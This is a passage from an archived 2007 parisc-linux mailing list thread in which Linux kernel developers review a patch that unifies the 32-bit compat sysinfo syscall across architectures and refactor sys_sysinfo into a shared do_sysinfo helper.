-	ret = sys_sysinfo((struct sysinfo __user *)&s);
-	set_fs (old_fs);
-
-        /* Check to see if any memory value is too large for 32-bit and scale
-	 *  down if needed
-	 */
-	if ((s.totalram >> 32) || (s.totalswap >> 32)) {
-		while (s.mem_unit < PAGE_SIZE) {
-			s.mem_unit <<= 1;
-			bitcount++;
-		}
-		s.totalram >>= bitcount;
-		s.freeram >>= bitcount;
-		s.sharedram >>= bitcount;
-		s.bufferram >>= bitcount;
-		s.totalswap >>= bitcount;
-		s.freeswap >>= bitcount;
-		s.totalhigh >>= bitcount;
-		s.freehigh >>= bitcount;
-	}
-
-	if (!access_ok(VERIFY_WRITE, info, sizeof(struct sysinfo32)) ||
-	    __put_user (s.uptime, &info->uptime) ||
-	    __put_user (s.loads[0], &info->loads[0]) ||
-	    __put_user (s.loads[1], &info->loads[1]) ||
-	    __put_user (s.loads[2], &info->loads[2]) ||
-	    __put_user (s.totalram, &info->totalram) ||
-	    __put_user (s.freeram, &info->freeram) ||
-	    __put_user (s.sharedram, &info->sharedram) ||
-	    __put_user (s.bufferram, &info->bufferram) ||
-	    __put_user (s.totalswap, &info->totalswap) ||
-	    __put_user (s.freeswap, &info->freeswap) ||
-	    __put_user (s.procs, &info->procs) ||
-	    __put_user (s.totalhigh, &info->totalhigh) || 
-	    __put_user (s.freehigh, &info->freehigh) ||
-	    __put_user (s.mem_unit, &info->mem_unit))
-		return -EFAULT;
-	return 0;
-}
-                
 asmlinkage long
 sys32_sched_rr_get_interval(compat_pid_t pid, struct compat_timespec __user *interval)
 {
diff --git a/kernel/compat.c b/kernel/compat.c
index 6952dd0..c9e3be6 100644
--- a/kernel/compat.c
+++ b/kernel/compat.c
@@ -1016,3 +1016,70 @@ asmlinkage long compat_sys_migrate_pages(compat_pid_t pid,
 	return sys_migrate_pages(pid, nr_bits + 1, old, new);
 }
 #endif
+
+struct compat_sysinfo {
+	s32 uptime;
+	u32 loads[3];
+	u32 totalram;
+	u32 freeram;
+	u32 sharedram;
+	u32 bufferram;
+	u32 totalswap;
+	u32 freeswap;
+	u16 procs;
+	u16 pad;
+	u32 totalhigh;
+	u32 freehigh;
+	u32 mem_unit;
+	char _f[20-2*sizeof(u32)-sizeof(int)];
+};
+
+asmlinkage long
+compat_sys_sysinfo(struct compat_sysinfo __user *info)
+{
+	extern int do_sysinfo(struct sysinfo *info);
+	struct sysinfo s;
+
+	do_sysinfo(&s);
+
+	/* Check to see if any memory value is too large for 32-bit and scale
+	 *  down if needed
+	 */
+	if ((s.totalram >> 32) || (s.totalswap >> 32)) {
+		int bitcount = 0;
+
+		while (s.mem_unit < PAGE_SIZE) {
+			s.mem_unit <<= 1;
+			bitcount++;
+		}
+
+		s.totalram >>= bitcount;
+		s.freeram >>= bitcount;
+		s.sharedram >>= bitcount;
+		s.bufferram >>= bitcount;
+		s.totalswap >>= bitcount;
+		s.freeswap >>= bitcount;
+		s.totalhigh >>= bitcount;
+		s.freehigh >>= bitcount;
+	}
+
+	if (!access_ok(VERIFY_WRITE, info, sizeof(struct compat_sysinfo)) ||
+	    __put_user (s.uptime, &info->uptime) ||
+	    __put_user (s.loads[0], &info->loads[0]) ||
+	    __put_user (s.loads[1], &info->loads[1]) ||
+	    __put_user (s.loads[2], &info->loads[2]) ||
+	    __put_user (s.totalram, &info->totalram) ||
+	    __put_user (s.freeram, &info->freeram) ||
+	    __put_user (s.sharedram, &info->sharedram) ||
+	    __put_user (s.bufferram, &info->bufferram) ||
+	    __put_user (s.totalswap, &info->totalswap) ||
+	    __put_user (s.freeswap, &info->freeswap) ||
+	    __put_user (s.procs, &info->procs) ||
+	    __put_user (s.totalhigh, &info->totalhigh) ||
+	    __put_user (s.freehigh, &info->freehigh) ||
+	    __put_user (s.mem_unit, &info->mem_unit))
+		return -EFAULT;
+
+	return 0;
+}
+
diff --git a/kernel/timer.c b/kernel/timer.c
index c2a8ccf..d35f6d9 100644
--- a/kernel/timer.c
+++ b/kernel/timer.c
@@ -1392,17 +1392,16 @@ asmlinkage long sys_gettid(void)
 }
 
 /**
- * sys_sysinfo - fill in sysinfo struct
+ * do_sysinfo - fill in sysinfo struct
  * @info: pointer to buffer to fill
  */ 
-asmlinkage long sys_sysinfo(struct sysinfo __user *info)
+int do_sysinfo(struct sysinfo *info)
 {
-	struct sysinfo val;
 	unsigned long mem_total, sav_total;
 	unsigned int mem_unit, bitcount;
 	unsigned long seq;
 
-	memset((char *)&val, 0, sizeof(struct sysinfo));
+	memset((char *)info, 0, sizeof(struct sysinfo));
 
 	do {
 		struct timespec tp;
@@ -1422,17 +1421,17 @@ asmlinkage long sys_sysinfo(struct sysinfo __user *info)
 			tp.tv_nsec = tp.tv_nsec - NSEC_PER_SEC;
 			tp.tv_sec++;
 		}
-		val.uptime = tp.tv_sec + (tp.tv_nsec ? 1 : 0);
+		info->uptime = tp.tv_sec + (tp.tv_nsec ? 1 : 0);
 
-		val.loads[0] = avenrun[0] << (SI_LOAD_SHIFT - FSHIFT);
-		val.loads[1] = avenrun[1] << (SI_LOAD_SHIFT - FSHIFT);
-		val.loads[2] = avenrun[2] << (SI_LOAD_SHIFT - FSHIFT);
+		info->loads[0] = avenrun[0] << (SI_LOAD_SHIFT - FSHIFT);
+		info->loads[1] = avenrun[1] << (SI_LOAD_SHIFT - FSHIFT);
+		info->loads[2] = avenrun[2] << (SI_LOAD_SHIFT - FSHIFT);
 
-		val.procs = nr_threads;
+		info->procs = nr_threads;
 	} while (read_seqretry(&xtime_lock, seq));
 
-	si_meminfo(&val);
-	si_swapinfo(&val);
+	si_meminfo(info);
+	si_swapinfo(info);
 
 	/*
 	 * If the sum of all the available memory (i.e. ram + swap)
@@ -1443,11 +1442,11 @@ asmlinkage long sys_sysinfo(struct sysinfo __user *info)
 	 *  -Erik Andersen <andersee@debian.org>
 	 */
 
-	mem_total = val.totalram + val.totalswap;
-	if (mem_total < val.totalram || mem_total < val.totalswap)
+	mem_total = info->totalram + info->totalswap;
+	if (mem_total < info->totalram || mem_total < info->totalswap)
 		goto out;
 	bitcount = 0;
-	mem_unit = val.mem_unit;
+	mem_unit = info->mem_unit;
 	while (mem_unit > 1) {
 		bitcount++;
 		mem_unit >>= 1;
@@ -1459,22 +1458,31 @@ asmlinkage long sys_sysinfo(struct sysinfo __user *info)
 
 	/*
 	 * If mem_total did not overflow, multiply all memory values by
-	 * val.mem_unit and set it to 1.  This leaves things compatible
+	 * info->mem_unit and set it to 1.  This leaves things compatible
 	 * with 2.2.x, and also retains compatibility with earlier 2.4.x
 	 * kernels...
 	 */
 
-	val.mem_unit = 1;
-	val.totalram <<= bitcount;
-	val.freeram <<= bitcount;
-	val.sharedram <<= bitcount;
-	val.bufferram <<= bitcount;
-	val.totalswap <<= bitcount;
-	val.freeswap <<= bitcount;
-	val.totalhigh <<= bitcount;
-	val.freehigh <<= bitcount;
+	info->mem_unit = 1;
+	info->totalram <<= bitcount;
+	info->freeram <<= bitcount;
+	info->sharedram <<= bitcount;
+	info->bufferram <<= bitcount;
+	info->totalswap <<= bitcount;
+	info->freeswap <<= bitcount;
+	info->totalhigh <<= bitcount;
+	info->freehigh <<= bitcount;
+
+out:
+	return 0;
+}
+
+asmlinkage long sys_sysinfo(struct sysinfo __user *info)
+{
+	struct sysinfo val;
+
+	do_sysinfo(&val);
 
- out:
 	if (copy_to_user(info, &val, sizeof(struct sysinfo)))
 		return -EFAULT;
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Common compat_sys_sysinfo
Date: Sun, 7 Jan 2007 08:18:17 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20070107151817.GN24620__5199.72874685681$1416624255$gmane$org@parisc-linux.org>
References: <20070107144850.GB3207@athena.road.mcmartin.ca>
	<20070107151319.GA23478@infradead.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624255 22374 80.91.229.3 (22 Nov 2014 02:44:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:15 +0000 (UTC)
To: Christoph Hellwig <hch@infradead.org>,
 Kyle McMartin <kyle@parisc-linux.org>,
 akpm@osdl.org,
 linux-kernel@vger.kernel.org,
 linux-arch@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2007 15:18:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 07 Jan 2007 16:18:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A80357D9B6;
	Sun,  7 Jan 2007 08:18:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28285-10; Sun, 7 Jan 2007 08:18:24 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C8767D98E;
	Sun,  7 Jan 2007 08:18:22 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC5EA7D95E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 08:18:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28343-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Jan 2007 08:18:18 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5E8DB7D849
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 08:18:18 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 2D7EE494003; Sun,  7 Jan 2007 08:18:18 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20070107151319.GA23478@infradead.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cTeUcRxsRkkeaauPfGRqlWFmdWkvKFMI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24220

On Sun, Jan 07, 2007 at 03:13:19PM +0000, Christoph Hellwig wrote:
> and last but not least we probably want a unified mechanisms to deal
> with the 64bit arguments that are broken up into two 32bit ones (not just
> for emulation but also for 32it BE architectures)

It's not BE that is the problem -- drepper thought of that.

What he fundamentally missed was the calling convention where 64-bit
arguments have to be 64-bit aligned, even when they're passed through
registers.  So:

int foo(int, long long);

takes its arguments in arg0, arg2 and arg3, but glibc passes the syscall
arguments in arg0, arg1 and arg2.

I think the Right Way to fix this is for some gcc hacker to implement an
__attribute__((packed_args)) that changes the calling convention for
that function, then we can define asmlinkage to use that on mips and
parisc.

Any budding gcc hackers out there?  ;-)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Common compat_sys_sysinfo
Date: Sun, 7 Jan 2007 10:22:13 -0500
Lines: 56
Approved: news@gmane.org
Message-ID: <20070107152213.GC3207__21347.6005163558$1416624256$gmane$org@athena.road.mcmartin.ca>
References: <20070107144850.GB3207@athena.road.mcmartin.ca>
	<20070107151319.GA23478@infradead.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624256 22376 80.91.229.3 (22 Nov 2014 02:44:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:16 +0000 (UTC)
To: Christoph Hellwig <hch@infradead.org>,
 Kyle McMartin <kyle@parisc-linux.org>,
 akpm@osdl.org,
 linux-kernel@vger.kernel.org,
 linux-arch@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2007 15:22:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 07 Jan 2007 16:22:39 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B89ED7DA8E;
	Sun,  7 Jan 2007 08:22:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28570-03; Sun, 7 Jan 2007 08:22:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A4ED87DA91;
	Sun,  7 Jan 2007 08:22:34 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 357467D9B6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 08:22:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28343-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Jan 2007 08:22:30 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 82A687D97D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 08:22:30 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id AB13F584095;
	Sun,  7 Jan 2007 10:22:29 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 2220F584094;
	Sun,  7 Jan 2007 10:22:29 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[74.105.6.106])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id C9133837DC;
	Sun,  7 Jan 2007 10:22:28 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id E70633B06E; Sun,  7 Jan 2007 10:22:13 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20070107151319.GA23478@infradead.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: L2XIdhVoeWU3WK2TZm9nrWsrL0tsZs0m
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24221

On Sun, Jan 07, 2007 at 03:13:19PM +0000, Christoph Hellwig wrote:
> > +compat_sys_sysinfo(struct compat_sysinfo __user *info)
> > +{
> > +	extern int do_sysinfo(struct sysinfo *info);
> 
> Please always put prototypes for functions with external linkage in
> header files.
> 

Ah, crud, I stuck that there to reduce the number of patched files when I let
Thibaut test it, but forgot to remove it from the final patch.

> > +int do_sysinfo(struct sysinfo *info)
> >  {
> > -	struct sysinfo val;
> >  	unsigned long mem_total, sav_total;
> >  	unsigned int mem_unit, bitcount;
> >  	unsigned long seq;
> >  
> > -	memset((char *)&val, 0, sizeof(struct sysinfo));
> > +	memset((char *)info, 0, sizeof(struct sysinfo));
> 
> No need for the cast here.
>

Ok.

> 
> 
> Btw, in case you have some spare time there are some other syscalls
> that want similar treatment.  sendfile(64) come to mind as these
> could use a do_sendfile helper aswell, the various stat and readdir/getdents
> variants could do with some unification, the various timing calls
> like alarm and get/settimeofday are common across architectures,
> sysctl should be the same everywhere, the uid/git related syscalls
> should be consolidated, sched_rr_get_interval looks trivial,
> and last but not least we probably want a unified mechanisms to deal
> with the 64bit arguments that are broken up into two 32bit ones (not just
> for emulation but also for 32it BE architectures)
> 

I can definitely look into this.

> Okay, okay - we should probably put this into a Wiki somewhere :)
> 

Heh. :)

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Common compat_sys_sysinfo
Date: Sun, 7 Jan 2007 15:13:19 +0000
Lines: 54
Approved: news@gmane.org
Message-ID: <20070107151319.GA23478__38267.4443921589$1416624256$gmane$org@infradead.org>
References: <20070107144850.GB3207@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624256 22379 80.91.229.3 (22 Nov 2014 02:44:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:16 +0000 (UTC)
Cc: akpm@osdl.org,
 linux-arch@vger.kernel.org,
 linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2007 15:34:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 07 Jan 2007 16:34:37 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E10C57DA9A;
	Sun,  7 Jan 2007 08:34:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28729-09; Sun, 7 Jan 2007 08:34:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BCF097DA9B;
	Sun,  7 Jan 2007 08:34:32 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C9C8D7DA4D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 08:13:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28119-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Jan 2007 08:13:25 -0700 (MST)
Original-Received: from pentafluge.infradead.org (pentafluge.infradead.org
	[213.146.154.40])
	by free.linux.hp.com (Postfix) with ESMTP id 07F7D7DA4A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Jan 2007 08:13:25 -0700 (MST)
Original-Received: from hch by pentafluge.infradead.org with local (Exim 4.63 #1 (Red
	Hat Linux)) id 1H3Zi3-0006Mb-SO; Sun, 07 Jan 2007 15:13:19 +0000
Mail-Followup-To: Christoph Hellwig <hch@infradead.org>,
	Kyle McMartin <kyle@parisc-linux.org>, akpm@osdl.org,
	linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20070107144850.GB3207@athena.road.mcmartin.ca>
User-Agent: Mutt/1.4.2.2i
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by
	pentafluge.infradead.org See http://www.infradead.org/rpr.html
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Sun, 07 Jan 2007 08:34:31 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QWbAIT9Ha0AoXL6aejEzWyU3Njh6dM6y
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24222

On Sun, Jan 07, 2007 at 09:48:50AM -0500, Kyle McMartin wrote:
> While tracking a bug for Thibaut Varene, I noticed that almost all
> architectures implemented exactly the same sys32_sysinfo... except
> parisc, where a bug was to be found in handling of the uptime. So
> let's remove a whole whack of code for fun and profit. Cribbed
> compat_sys_sysinfo from x86_64's implementation, since I figured
> it would be the best tested.
> 
> This patch incorporates Arnd's suggestion of not using set_fs/get_fs,
> but instead extracting out the common code from sys_sysinfo.
> 
> Tested on a handful of architectures (ia64, parisc, x86_64.)

Looks generally good to me, but..

> +asmlinkage long
> +compat_sys_sysinfo(struct compat_sysinfo __user *info)
> +{
> +	extern int do_sysinfo(struct sysinfo *info);

Please always put prototypes for functions with external linkage in
header files.

> +int do_sysinfo(struct sysinfo *info)
>  {
> -	struct sysinfo val;
>  	unsigned long mem_total, sav_total;
>  	unsigned int mem_unit, bitcount;
>  	unsigned long seq;
>  
> -	memset((char *)&val, 0, sizeof(struct sysinfo));
> +	memset((char *)info, 0, sizeof(struct sysinfo));

No need for the cast here.


Btw, in case you have some spare time there are some other syscalls
that want similar treatment.  sendfile(64) come to mind as these
could use a do_sendfile helper aswell, the various stat and readdir/getdents
variants could do with some unification, the various timing calls
like alarm and get/settimeofday are common across architectures,
sysctl should be the same everywhere, the uid/git related syscalls
should be consolidated, sched_rr_get_interval looks trivial,
and last but not least we probably want a unified mechanisms to deal
with the 64bit arguments that are broken up into two 32bit ones (not just
for emulation but also for 32it BE architectures)

Okay, okay - we should probably put this into a Wiki somewhere :)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Common compat_sys_sysinfo (v2)
Date: Sun, 7 Jan 2007 10:40:45 -0500
Lines: 806
Approved: news@gmane.org
Message-ID: <20070107154045.GD3207__35586.1384225593$1416624256$gmane$org@athena.road.mcmartin.ca>
References: <20070107144850.GB3207@athena.road.mcmartin.ca>
	<20070107151319.GA23478@infradead.org>
	<20070107152213.GC3207@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624256 22384 80.91.229.3 (22 Nov 2014 02:44:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:16 +0000 (UTC)
Cc: Christoph Hellwig <hch@infradead.org>,
 akpm@osdl.org,
 linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org,
 linux-arch@vger.kernel.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2007 15:41:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 07 Jan 2007 16:41:14 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 114EE7DA95;
	Sun,  7 Jan 2007 08:41:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28984-07; Sun, 7 Jan 2007 08:41:10 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E2A4B7DAA6;
	Sun,  7 Jan 2007 08:41:08 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 39B5B7DAA4
